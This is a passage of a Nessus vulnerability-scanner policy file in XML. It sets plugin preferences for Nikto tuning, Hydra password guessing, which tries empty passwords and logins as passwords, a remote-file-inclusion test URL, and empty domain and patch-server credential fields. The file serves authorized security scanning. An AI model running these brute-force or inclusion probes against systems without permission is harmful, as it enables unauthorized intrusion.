1513 <preferenceValues>no</preferenceValues>
1514 <selectedValue>no</selectedValue>
1515 </item>
1516 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1517 <pluginId>14260</pluginId>
1518 <fullName>Nikto (NASL wrapper)[checkbox]:Display: 3 Show all 200/OK responses</fullName>
1519 <preferenceName>Display: 3 Show all 200/OK responses</preferenceName>
1520 <preferenceType>checkbox</preferenceType>
1521 <preferenceValues>no</preferenceValues>
1522 <selectedValue>no</selectedValue>
1523 </item>
1524 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1525 <pluginId>14260</pluginId>
1526 <fullName>Nikto (NASL wrapper)[checkbox]:Display: 4 Show URLs which require authentication</fullName>
1527 <preferenceName>Display: 4 Show URLs which require authentication</preferenceName>
1528 <preferenceType>checkbox</preferenceType>
1529 <preferenceValues>no</preferenceValues>
1530 <selectedValue>no</selectedValue>
1531 </item>
1532 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1533 <pluginId>14260</pluginId>
1534 <fullName>Nikto (NASL wrapper)[checkbox]:Display: V Verbose Output</fullName>
1535 <preferenceName>Display: V Verbose Output</preferenceName>
1536 <preferenceType>checkbox</preferenceType>
1537 <preferenceValues>no</preferenceValues>
1538 <selectedValue>no</selectedValue>
1539 </item>
1540 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1541 <pluginId>14260</pluginId>
1542 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 1 Interesting File / Seen in logs</fullName>
1543 <preferenceName>Tuning: 1 Interesting File / Seen in logs</preferenceName>
1544 <preferenceType>checkbox</preferenceType>
1545 <preferenceValues>no</preferenceValues>
1546 <selectedValue>no</selectedValue>
1547 </item>
1548 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1549 <pluginId>14260</pluginId>
1550 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 2 Misconfiguration / Default File</fullName>
1551 <preferenceName>Tuning: 2 Misconfiguration / Default File</preferenceName>
1552 <preferenceType>checkbox</preferenceType>
1553 <preferenceValues>no</preferenceValues>
1554 <selectedValue>no</selectedValue>
1555 </item>
1556 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1557 <pluginId>14260</pluginId>
1558 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 3 Information Disclosure</fullName>
1559 <preferenceName>Tuning: 3 Information Disclosure</preferenceName>
1560 <preferenceType>checkbox</preferenceType>
1561 <preferenceValues>no</preferenceValues>
1562 <selectedValue>no</selectedValue>
1563 </item>
1564 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1565 <pluginId>14260</pluginId>
1566 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 4 Injection (XSS/Script/HTML)</fullName>
1567 <preferenceName>Tuning: 4 Injection (XSS/Script/HTML)</preferenceName>
1568 <preferenceType>checkbox</preferenceType>
1569 <preferenceValues>no</preferenceValues>
1570 <selectedValue>no</selectedValue>
1571 </item>
1572 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1573 <pluginId>14260</pluginId>
1574 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 5 Remote File Retrieval - Inside Web Root</fullName>
1575 <preferenceName>Tuning: 5 Remote File Retrieval - Inside Web Root</preferenceName>
1576 <preferenceType>checkbox</preferenceType>
1577 <preferenceValues>no</preferenceValues>
1578 <selectedValue>no</selectedValue>
1579 </item>
1580 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1581 <pluginId>14260</pluginId>
1582 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 6 Denial of Service</fullName>
1583 <preferenceName>Tuning: 6 Denial of Service</preferenceName>
1584 <preferenceType>checkbox</preferenceType>
1585 <preferenceValues>no</preferenceValues>
1586 <selectedValue>no</selectedValue>
1587 </item>
1588 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1589 <pluginId>14260</pluginId>
1590 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 7 Remote File Retrieval - Server Wide</fullName>
1591 <preferenceName>Tuning: 7 Remote File Retrieval - Server Wide</preferenceName>
1592 <preferenceType>checkbox</preferenceType>
1593 <preferenceValues>no</preferenceValues>
1594 <selectedValue>no</selectedValue>
1595 </item>
1596 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1597 <pluginId>14260</pluginId>
1598 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 8 Command Execution / Remote Shell</fullName>
1599 <preferenceName>Tuning: 8 Command Execution / Remote Shell</preferenceName>
1600 <preferenceType>checkbox</preferenceType>
1601 <preferenceValues>no</preferenceValues>
1602 <selectedValue>no</selectedValue>
1603 </item>
1604 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1605 <pluginId>14260</pluginId>
1606 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 9 SQL Injection</fullName>
1607 <preferenceName>Tuning: 9 SQL Injection</preferenceName>
1608 <preferenceType>checkbox</preferenceType>
1609 <preferenceValues>no</preferenceValues>
1610 <selectedValue>no</selectedValue>
1611 </item>
1612 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1613 <pluginId>14260</pluginId>
1614 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: 0 File Upload</fullName>
1615 <preferenceName>Tuning: 0 File Upload</preferenceName>
1616 <preferenceType>checkbox</preferenceType>
1617 <preferenceValues>no</preferenceValues>
1618 <selectedValue>no</selectedValue>
1619 </item>
1620 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1621 <pluginId>14260</pluginId>
1622 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: a Authentication Bypass</fullName>
1623 <preferenceName>Tuning: a Authentication Bypass</preferenceName>
1624 <preferenceType>checkbox</preferenceType>
1625 <preferenceValues>no</preferenceValues>
1626 <selectedValue>no</selectedValue>
1627 </item>
1628 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1629 <pluginId>14260</pluginId>
1630 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: b Software Identification</fullName>
1631 <preferenceName>Tuning: b Software Identification</preferenceName>
1632 <preferenceType>checkbox</preferenceType>
1633 <preferenceValues>no</preferenceValues>
1634 <selectedValue>no</selectedValue>
1635 </item>
1636 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1637 <pluginId>14260</pluginId>
1638 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: c Remote Source Inclusion</fullName>
1639 <preferenceName>Tuning: c Remote Source Inclusion</preferenceName>
1640 <preferenceType>checkbox</preferenceType>
1641 <preferenceValues>no</preferenceValues>
1642 <selectedValue>no</selectedValue>
1643 </item>
1644 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1645 <pluginId>14260</pluginId>
1646 <fullName>Nikto (NASL wrapper)[checkbox]:Tuning: x Reverse Tuning Options (i.e., include all except specified)</fullName>
1647 <preferenceName>Tuning: x Reverse Tuning Options (i.e., include all except specified)</preferenceName>
1648 <preferenceType>checkbox</preferenceType>
1649 <preferenceValues>no</preferenceValues>
1650 <selectedValue>no</selectedValue>
1651 </item>
1652 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1653 <pluginId>14260</pluginId>
1654 <fullName>Nikto (NASL wrapper)[checkbox]:Mutate: 1 Test all files with all root directories</fullName>
1655 <preferenceName>Mutate: 1 Test all files with all root directories</preferenceName>
1656 <preferenceType>checkbox</preferenceType>
1657 <preferenceValues>no</preferenceValues>
1658 <selectedValue>no</selectedValue>
1659 </item>
1660 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1661 <pluginId>14260</pluginId>
1662 <fullName>Nikto (NASL wrapper)[checkbox]:Mutate: 2 Guess for password file names</fullName>
1663 <preferenceName>Mutate: 2 Guess for password file names</preferenceName>
1664 <preferenceType>checkbox</preferenceType>
1665 <preferenceValues>no</preferenceValues>
1666 <selectedValue>no</selectedValue>
1667 </item>
1668 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1669 <pluginId>14260</pluginId>
1670 <fullName>Nikto (NASL wrapper)[checkbox]:Mutate: 3 Enumerate user names via Apache (/~user type requests)</fullName>
1671 <preferenceName>Mutate: 3 Enumerate user names via Apache (/~user type requests)</preferenceName>
1672 <preferenceType>checkbox</preferenceType>
1673 <preferenceValues>no</preferenceValues>
1674 <selectedValue>no</selectedValue>
1675 </item>
1676 <item><pluginName>Nikto (NASL wrapper)</pluginName>
1677 <pluginId>14260</pluginId>
1678 <fullName>Nikto (NASL wrapper)[checkbox]:Mutate: 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)</fullName>
1679 <preferenceName>Mutate: 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)</preferenceName>
1680 <preferenceType>checkbox</preferenceType>
1681 <preferenceValues>no</preferenceValues>
1682 <selectedValue>no</selectedValue>
1683 </item>
1684 <item><pluginName>Oracle Settings</pluginName>
1685 <pluginId>22076</pluginId>
1686 <fullName>Oracle Settings[entry]:Oracle SID :</fullName>
1687 <preferenceName>Oracle SID :</preferenceName>
1688 <preferenceType>entry</preferenceType>
1689 <preferenceValues></preferenceValues>
1690 <selectedValue></selectedValue>
1691 </item>
1692 <item><pluginName>Oracle Settings</pluginName>
1693 <pluginId>22076</pluginId>
1694 <fullName>Oracle Settings[checkbox]:Test default accounts (slow)</fullName>
1695 <preferenceName>Test default accounts (slow)</preferenceName>
1696 <preferenceType>checkbox</preferenceType>
1697 <preferenceValues>no</preferenceValues>
1698 <selectedValue>no</selectedValue>
1699 </item>
1700 <item><pluginName>Web Application Tests Settings</pluginName>
1701 <pluginId>39471</pluginId>
1702 <fullName>Web Application Tests Settings[checkbox]:Enable web applications tests</fullName>
1703 <preferenceName>Enable web applications tests</preferenceName>
1704 <preferenceType>checkbox</preferenceType>
1705 <preferenceValues>no</preferenceValues>
1706 <selectedValue>no</selectedValue>
1707 </item>
1708 <item><pluginName>Web Application Tests Settings</pluginName>
1709 <pluginId>39471</pluginId>
1710 <fullName>Web Application Tests Settings[entry]:Maximum run time (min) :</fullName>
1711 <preferenceName>Maximum run time (min) :</preferenceName>
1712 <preferenceType>entry</preferenceType>
1713 <preferenceValues>60</preferenceValues>
1714 <selectedValue>60</selectedValue>
1715 </item>
1716 <item><pluginName>Web Application Tests Settings</pluginName>
1717 <pluginId>39471</pluginId>
1718 <fullName>Web Application Tests Settings[checkbox]:Try all HTTP methods</fullName>
1719 <preferenceName>Try all HTTP methods</preferenceName>
1720 <preferenceType>checkbox</preferenceType>
1721 <preferenceValues>no</preferenceValues>
1722 <selectedValue>no</selectedValue>
1723 </item>
1724 <item><pluginName>Web Application Tests Settings</pluginName>
1725 <pluginId>39471</pluginId>
1726 <fullName>Web Application Tests Settings[radio]:Combinations of arguments values</fullName>
1727 <preferenceName>Combinations of arguments values</preferenceName>
1728 <preferenceType>radio</preferenceType>
1729 <preferenceValues>one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow)</preferenceValues>
1730 <selectedValue>one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow)</selectedValue>
1731 </item>
1732 <item><pluginName>Web Application Tests Settings</pluginName>
1733 <pluginId>39471</pluginId>
1734 <fullName>Web Application Tests Settings[checkbox]:HTTP Parameter Pollution</fullName>
1735 <preferenceName>HTTP Parameter Pollution</preferenceName>
1736 <preferenceType>checkbox</preferenceType>
1737 <preferenceValues>no</preferenceValues>
1738 <selectedValue>no</selectedValue>
1739 </item>
1740 <item><pluginName>Web Application Tests Settings</pluginName>
1741 <pluginId>39471</pluginId>
1742 <fullName>Web Application Tests Settings[radio]:Stop at first flaw</fullName>
1743 <preferenceName>Stop at first flaw</preferenceName>
1744 <preferenceType>radio</preferenceType>
1745 <preferenceValues>per CGI;per port (quicker);per parameter (slow);look for all flaws (slower)</preferenceValues>
1746 <selectedValue>per CGI;per port (quicker);per parameter (slow);look for all flaws (slower)</selectedValue>
1747 </item>
1748 <item><pluginName>Web Application Tests Settings</pluginName>
1749 <pluginId>39471</pluginId>
1750 <fullName>Web Application Tests Settings[checkbox]:Test embedded web servers</fullName>
1751 <preferenceName>Test embedded web servers</preferenceName>
1752 <preferenceType>checkbox</preferenceType>
1753 <preferenceValues>no</preferenceValues>
1754 <selectedValue>no</selectedValue>
1755 </item>
1756 <item><pluginName>Web Application Tests Settings</pluginName>
1757 <pluginId>39471</pluginId>
1758 <fullName>Web Application Tests Settings[entry]:URL for Remote File Inclusion :</fullName>
1759 <preferenceName>URL for Remote File Inclusion :</preferenceName>
1760 <preferenceType>entry</preferenceType>
1761 <preferenceValues>http://rfi.nessus.org/rfi.txt</preferenceValues>
1762 <selectedValue>http://rfi.nessus.org/rfi.txt</selectedValue>
1763 </item>
1764 <item><pluginName>Nessus TCP scanner</pluginName>
1765 <pluginId>10335</pluginId>
1766 <fullName>Nessus TCP scanner[radio]:Firewall detection :</fullName>
1767 <preferenceName>Firewall detection :</preferenceName>
1768 <preferenceType>radio</preferenceType>
1769 <preferenceValues>Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)</preferenceValues>
1770 <selectedValue>Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)</selectedValue>
1771 </item>
1772 <item><pluginName>HTTP login page</pluginName>
1773 <pluginId>11149</pluginId>
1774 <fullName>HTTP login page[entry]:Login page :</fullName>
1775 <preferenceName>Login page :</preferenceName>
1776 <preferenceType>entry</preferenceType>
1777 <preferenceValues>/</preferenceValues>
1778 <selectedValue>/</selectedValue>
1779 </item>
1780 <item><pluginName>HTTP login page</pluginName>
1781 <pluginId>11149</pluginId>
1782 <fullName>HTTP login page[entry]:Login form :</fullName>
1783 <preferenceName>Login form :</preferenceName>
1784 <preferenceType>entry</preferenceType>
1785 <preferenceValues></preferenceValues>
1786 <selectedValue></selectedValue>
1787 </item>
1788 <item><pluginName>HTTP login page</pluginName>
1789 <pluginId>11149</pluginId>
1790 <fullName>HTTP login page[entry]:Login form fields :</fullName>
1791 <preferenceName>Login form fields :</preferenceName>
1792 <preferenceType>entry</preferenceType>
1793 <preferenceValues>user=%USER%&amp;pass=%PASS%</preferenceValues>
1794 <selectedValue>user=%USER%&amp;pass=%PASS%</selectedValue>
1795 </item>
1796 <item><pluginName>HTTP login page</pluginName>
1797 <pluginId>11149</pluginId>
1798 <fullName>HTTP login page[radio]:Login form method :</fullName>
1799 <preferenceName>Login form method :</preferenceName>
1800 <preferenceType>radio</preferenceType>
1801 <preferenceValues>POST;GET</preferenceValues>
1802 <selectedValue>POST;GET</selectedValue>
1803 </item>
1804 <item><pluginName>HTTP login page</pluginName>
1805 <pluginId>11149</pluginId>
1806 <fullName>HTTP login page[checkbox]:Automated login page search</fullName>
1807 <preferenceName>Automated login page search</preferenceName>
1808 <preferenceType>checkbox</preferenceType>
1809 <preferenceValues>no</preferenceValues>
1810 <selectedValue>no</selectedValue>
1811 </item>
1812 <item><pluginName>HTTP login page</pluginName>
1813 <pluginId>11149</pluginId>
1814 <fullName>HTTP login page[entry]:Re-authenticate delay (seconds) :</fullName>
1815 <preferenceName>Re-authenticate delay (seconds) :</preferenceName>
1816 <preferenceType>entry</preferenceType>
1817 <preferenceValues></preferenceValues>
1818 <selectedValue></selectedValue>
1819 </item>
1820 <item><pluginName>HTTP login page</pluginName>
1821 <pluginId>11149</pluginId>
1822 <fullName>HTTP login page[entry]:Check authentication on page :</fullName>
1823 <preferenceName>Check authentication on page :</preferenceName>
1824 <preferenceType>entry</preferenceType>
1825 <preferenceValues></preferenceValues>
1826 <selectedValue></selectedValue>
1827 </item>
1828 <item><pluginName>HTTP login page</pluginName>
1829 <pluginId>11149</pluginId>
1830 <fullName>HTTP login page[entry]:Follow 30x redirections (# of levels) :</fullName>
1831 <preferenceName>Follow 30x redirections (# of levels) :</preferenceName>
1832 <preferenceType>entry</preferenceType>
1833 <preferenceValues>2</preferenceValues>
1834 <selectedValue>2</selectedValue>
1835 </item>
1836 <item><pluginName>HTTP login page</pluginName>
1837 <pluginId>11149</pluginId>
1838 <fullName>HTTP login page[entry]:Authenticated regex :</fullName>
1839 <preferenceName>Authenticated regex :</preferenceName>
1840 <preferenceType>entry</preferenceType>
1841 <preferenceValues></preferenceValues>
1842 <selectedValue></selectedValue>
1843 </item>
1844 <item><pluginName>HTTP login page</pluginName>
1845 <pluginId>11149</pluginId>
1846 <fullName>HTTP login page[checkbox]:Invert test (disconnected if regex matches)</fullName>
1847 <preferenceName>Invert test (disconnected if regex matches)</preferenceName>
1848 <preferenceType>checkbox</preferenceType>
1849 <preferenceValues>no</preferenceValues>
1850 <selectedValue>no</selectedValue>
1851 </item>
1852 <item><pluginName>HTTP login page</pluginName>
1853 <pluginId>11149</pluginId>
1854 <fullName>HTTP login page[checkbox]:Match regex on HTTP headers</fullName>
1855 <preferenceName>Match regex on HTTP headers</preferenceName>
1856 <preferenceType>checkbox</preferenceType>
1857 <preferenceValues>no</preferenceValues>
1858 <selectedValue>no</selectedValue>
1859 </item>
1860 <item><pluginName>HTTP login page</pluginName>
1861 <pluginId>11149</pluginId>
1862 <fullName>HTTP login page[checkbox]:Case insensitive regex</fullName>
1863 <preferenceName>Case insensitive regex</preferenceName>
1864 <preferenceType>checkbox</preferenceType>
1865 <preferenceValues>no</preferenceValues>
1866 <selectedValue>no</selectedValue>
1867 </item>
1868 <item><pluginName>HTTP login page</pluginName>
1869 <pluginId>11149</pluginId>
1870 <fullName>HTTP login page[checkbox]:Abort web application tests if login fails</fullName>
1871 <preferenceName>Abort web application tests if login fails</preferenceName>
1872 <preferenceType>checkbox</preferenceType>
1873 <preferenceValues>no</preferenceValues>
1874 <selectedValue>no</selectedValue>
1875 </item>
1876 <item><pluginName>Patch Management: IBM Tivoli Endpoint Manager Server Settings</pluginName>
1877 <pluginId>62558</pluginId>
1878 <fullName>Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server :</fullName>
1879 <preferenceName>Web Reports Server :</preferenceName>
1880 <preferenceType>entry</preferenceType>
1881 <preferenceValues></preferenceValues>
1882 <selectedValue></selectedValue>
1883 </item>
1884 <item><pluginName>Patch Management: IBM Tivoli Endpoint Manager Server Settings</pluginName>
1885 <pluginId>62558</pluginId>
1886 <fullName>Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port :</fullName>
1887 <preferenceName>Web Reports Port :</preferenceName>
1888 <preferenceType>entry</preferenceType>
1889 <preferenceValues></preferenceValues>
1890 <selectedValue></selectedValue>
1891 </item>
1892 <item><pluginName>Patch Management: IBM Tivoli Endpoint Manager Server Settings</pluginName>
1893 <pluginId>62558</pluginId>
1894 <fullName>Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username :</fullName>
1895 <preferenceName>Web Reports Username :</preferenceName>
1896 <preferenceType>entry</preferenceType>
1897 <preferenceValues></preferenceValues>
1898 <selectedValue></selectedValue>
1899 </item>
1900 <item><pluginName>Patch Management: IBM Tivoli Endpoint Manager Server Settings</pluginName>
1901 <pluginId>62558</pluginId>
1902 <fullName>Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password :</fullName>
1903 <preferenceName>Web Reports Password :</preferenceName>
1904 <preferenceType>password</preferenceType>
1905 <preferenceValues></preferenceValues>
1906 <selectedValue></selectedValue>
1907 </item>
1908 <item><pluginName>Patch Management: IBM Tivoli Endpoint Manager Server Settings</pluginName>
1909 <pluginId>62558</pluginId>
1910 <fullName>Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL :</fullName>
1911 <preferenceName>SSL :</preferenceName>
1912 <preferenceType>checkbox</preferenceType>
1913 <preferenceValues>no</preferenceValues>
1914 <selectedValue>no</selectedValue>
1915 </item>
1916 <item><pluginName>Patch Management: IBM Tivoli Endpoint Manager Server Settings</pluginName>
1917 <pluginId>62558</pluginId>
1918 <fullName>Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate :</fullName>
1919 <preferenceName>Verify SSL Certificate :</preferenceName>
1920 <preferenceType>checkbox</preferenceType>
1921 <preferenceValues>no</preferenceValues>
1922 <selectedValue>no</selectedValue>
1923 </item>
1924 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1925 <pluginId>15868</pluginId>
1926 <fullName>Hydra (NASL wrappers options)[checkbox]:Always enable Hydra (slow)</fullName>
1927 <preferenceName>Always enable Hydra (slow)</preferenceName>
1928 <preferenceType>checkbox</preferenceType>
1929 <preferenceValues>no</preferenceValues>
1930 <selectedValue>no</selectedValue>
1931 </item>
1932 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1933 <pluginId>15868</pluginId>
1934 <fullName>Hydra (NASL wrappers options)[file]:Logins file :</fullName>
1935 <preferenceName>Logins file :</preferenceName>
1936 <preferenceType>file</preferenceType>
1937 <preferenceValues></preferenceValues>
1938 <selectedValue></selectedValue>
1939 </item>
1940 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1941 <pluginId>15868</pluginId>
1942 <fullName>Hydra (NASL wrappers options)[file]:Passwords file :</fullName>
1943 <preferenceName>Passwords file :</preferenceName>
1944 <preferenceType>file</preferenceType>
1945 <preferenceValues></preferenceValues>
1946 <selectedValue></selectedValue>
1947 </item>
1948 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1949 <pluginId>15868</pluginId>
1950 <fullName>Hydra (NASL wrappers options)[entry]:Number of parallel tasks :</fullName>
1951 <preferenceName>Number of parallel tasks :</preferenceName>
1952 <preferenceType>entry</preferenceType>
1953 <preferenceValues>16</preferenceValues>
1954 <selectedValue>16</selectedValue>
1955 </item>
1956 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1957 <pluginId>15868</pluginId>
1958 <fullName>Hydra (NASL wrappers options)[entry]:Timeout (in seconds) :</fullName>
1959 <preferenceName>Timeout (in seconds) :</preferenceName>
1960 <preferenceType>entry</preferenceType>
1961 <preferenceValues>30</preferenceValues>
1962 <selectedValue>30</selectedValue>
1963 </item>
1964 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1965 <pluginId>15868</pluginId>
1966 <fullName>Hydra (NASL wrappers options)[checkbox]:Try empty passwords</fullName>
1967 <preferenceName>Try empty passwords</preferenceName>
1968 <preferenceType>checkbox</preferenceType>
1969 <preferenceValues>yes</preferenceValues>
1970 <selectedValue>yes</selectedValue>
1971 </item>
1972 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1973 <pluginId>15868</pluginId>
1974 <fullName>Hydra (NASL wrappers options)[checkbox]:Try login as password</fullName>
1975 <preferenceName>Try login as password</preferenceName>
1976 <preferenceType>checkbox</preferenceType>
1977 <preferenceValues>yes</preferenceValues>
1978 <selectedValue>yes</selectedValue>
1979 </item>
1980 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1981 <pluginId>15868</pluginId>
1982 <fullName>Hydra (NASL wrappers options)[checkbox]:Exit as soon as an account is found</fullName>
1983 <preferenceName>Exit as soon as an account is found</preferenceName>
1984 <preferenceType>checkbox</preferenceType>
1985 <preferenceValues>no</preferenceValues>
1986 <selectedValue>no</selectedValue>
1987 </item>
1988 <item><pluginName>Hydra (NASL wrappers options)</pluginName>
1989 <pluginId>15868</pluginId>
1990 <fullName>Hydra (NASL wrappers options)[checkbox]:Add accounts found by other plugins to login file</fullName>
1991 <preferenceName>Add accounts found by other plugins to login file</preferenceName>
1992 <preferenceType>checkbox</preferenceType>
1993 <preferenceValues>yes</preferenceValues>
1994 <selectedValue>yes</selectedValue>
1995 </item>
1996 <item><pluginName>Patch Report</pluginName>
1997 <pluginId>66334</pluginId>
1998 <fullName>Patch Report[checkbox]:Display the superseded patches in the report</fullName>
1999 <preferenceName>Display the superseded patches in the report</preferenceName>
2000 <preferenceType>checkbox</preferenceType>
2001 <preferenceValues>yes</preferenceValues>
2002 <selectedValue>yes</selectedValue>
2003 </item>
2004 <item><pluginName>Wake-on-LAN</pluginName>
2005 <pluginId>52616</pluginId>
2006 <fullName>Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN:</fullName>
2007 <preferenceName>List of MAC addresses for Wake-on-LAN:</preferenceName>
2008 <preferenceType>file</preferenceType>
2009 <preferenceValues></preferenceValues>
2010 <selectedValue></selectedValue>
2011 </item>
2012 <item><pluginName>Wake-on-LAN</pluginName>
2013 <pluginId>52616</pluginId>
2014 <fullName>Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot:</fullName>
2015 <preferenceName>Time to wait (in minutes) for the systems to boot:</preferenceName>
2016 <preferenceType>entry</preferenceType>
2017 <preferenceValues>5</preferenceValues>
2018 <selectedValue>5</selectedValue>
2019 </item>
2020 <item><pluginName>ADSI Settings</pluginName>
2021 <pluginId>60024</pluginId>
2022 <fullName>ADSI Settings[entry]:Domain Controller :</fullName>
2023 <preferenceName>Domain Controller :</preferenceName>
2024 <preferenceType>entry</preferenceType>
2025 <preferenceValues></preferenceValues>
2026 <selectedValue></selectedValue>
2027 </item>
2028 <item><pluginName>ADSI Settings</pluginName>
2029 <pluginId>60024</pluginId>
2030 <fullName>ADSI Settings[entry]:Domain :</fullName>
2031 <preferenceName>Domain :</preferenceName>
2032 <preferenceType>entry</preferenceType>
2033 <preferenceValues></preferenceValues>
2034 <selectedValue></selectedValue>
2035 </item>
2036 <item><pluginName>ADSI Settings</pluginName>
2037 <pluginId>60024</pluginId>
2038 <fullName>ADSI Settings[entry]:Domain Username :</fullName>
2039 <preferenceName>Domain Username :</preferenceName>
2040 <preferenceType>entry</preferenceType>
2041 <preferenceValues></preferenceValues>
2042 <selectedValue></selectedValue>
2043 </item>
2044 <item><pluginName>ADSI Settings</pluginName>
2045 <pluginId>60024</pluginId>
2046 <fullName>ADSI Settings[password]:Domain Password :</fullName>
2047 <preferenceName>Domain Password :</preferenceName>
2048 <preferenceType>password</preferenceType>
2049 <preferenceValues></preferenceValues>
2050 <selectedValue></selectedValue>
2051 </item>
2052 <item><pluginName>ADSI Settings</pluginName>
2053 <pluginId>60024</pluginId>
2054 <fullName>ADSI Settings[entry]:Domain Controller 2:</fullName>
2055 <preferenceName>Domain Controller 2:</preferenceName>
2056 <preferenceType>entry</preferenceType>
2057 <preferenceValues></preferenceValues>
2058 <selectedValue></selectedValue>
2059 </item>
2060 <item><pluginName>ADSI Settings</pluginName>
2061 <pluginId>60024</pluginId>
2062 <fullName>ADSI Settings[entry]:Domain 2:</fullName>
2063 <preferenceName>Domain 2:</preferenceName>
2064 <preferenceType>entry</preferenceType>
2065 <preferenceValues></preferenceValues>
2066 <selectedValue></selectedValue>
2067 </item>
2068 <item><pluginName>ADSI Settings</pluginName>
2069 <pluginId>60024</pluginId>
2070 <fullName>ADSI Settings[entry]:Domain Username 2:</fullName>
2071 <preferenceName>Domain Username 2:</preferenceName>
2072 <preferenceType>entry</preferenceType>
2073 <preferenceValues></preferenceValues>
2074 <selectedValue></selectedValue>
2075 </item>
2076 <item><pluginName>ADSI Settings</pluginName>
2077 <pluginId>60024</pluginId>
2078 <fullName>ADSI Settings[password]:Domain Password 2:</fullName>
2079 <preferenceName>Domain Password 2:</preferenceName>
2080 <preferenceType>password</preferenceType>
2081 <preferenceValues></preferenceValues>
2082 <selectedValue></selectedValue>
2083 </item>
2084 <item><pluginName>ADSI Settings</pluginName>
2085 <pluginId>60024</pluginId>
2086 <fullName>ADSI Settings[entry]:Domain Controller 3:</fullName>
2087 <preferenceName>Domain Controller 3:</preferenceName>
2088 <preferenceType>entry</preferenceType>
2089 <preferenceValues></preferenceValues>
2090 <selectedValue></selectedValue>
2091 </item>
2092 <item><pluginName>ADSI Settings</pluginName>
2093 <pluginId>60024</pluginId>
2094 <fullName>ADSI Settings[entry]:Domain 3:</fullName>
2095 <preferenceName>Domain 3:</preferenceName>
2096 <preferenceType>entry</preferenceType>
2097 <preferenceValues></preferenceValues>
2098 <selectedValue></selectedValue>
2099 </item>
2100 <item><pluginName>ADSI Settings</pluginName>
2101 <pluginId>60024</pluginId>
2102 <fullName>ADSI Settings[entry]:Domain Username 3:</fullName>
2103 <preferenceName>Domain Username 3:</preferenceName>
2104 <preferenceType>entry</preferenceType>
2105 <preferenceValues></preferenceValues>
2106 <selectedValue></selectedValue>
2107 </item>
2108 <item><pluginName>ADSI Settings</pluginName>
2109 <pluginId>60024</pluginId>
2110 <fullName>ADSI Settings[password]:Domain Password 3:</fullName>
2111 <preferenceName>Domain Password 3:</preferenceName>
2112 <preferenceType>password</preferenceType>
2113 <preferenceValues></preferenceValues>
2114 <selectedValue></selectedValue>
2115 </item>
2116 <item><pluginName>ADSI Settings</pluginName>
2117 <pluginId>60024</pluginId>
2118 <fullName>ADSI Settings[entry]:Domain Controller 4:</fullName>
2119 <preferenceName>Domain Controller 4:</preferenceName>
2120 <preferenceType>entry</preferenceType>
2121 <preferenceValues></preferenceValues>
2122 <selectedValue></selectedValue>
2123 </item>
2124 <item><pluginName>ADSI Settings</pluginName>
2125 <pluginId>60024</pluginId>
2126 <fullName>ADSI Settings[entry]:Domain 4:</fullName>
2127 <preferenceName>Domain 4:</preferenceName>
2128 <preferenceType>entry</preferenceType>
2129 <preferenceValues></preferenceValues>
2130 <selectedValue></selectedValue>
2131 </item>
2132 <item><pluginName>ADSI Settings</pluginName>
2133 <pluginId>60024</pluginId>
2134 <fullName>ADSI Settings[entry]:Domain Username 4:</fullName>
2135 <preferenceName>Domain Username 4:</preferenceName>
2136 <preferenceType>entry</preferenceType>
2137 <preferenceValues></preferenceValues>
2138 <selectedValue></selectedValue>
2139 </item>
2140 <item><pluginName>ADSI Settings</pluginName>
2141 <pluginId>60024</pluginId>
2142 <fullName>ADSI Settings[password]:Domain Password 4:</fullName>
2143 <preferenceName>Domain Password 4:</preferenceName>
2144 <preferenceType>password</preferenceType>
2145 <preferenceValues></preferenceValues>
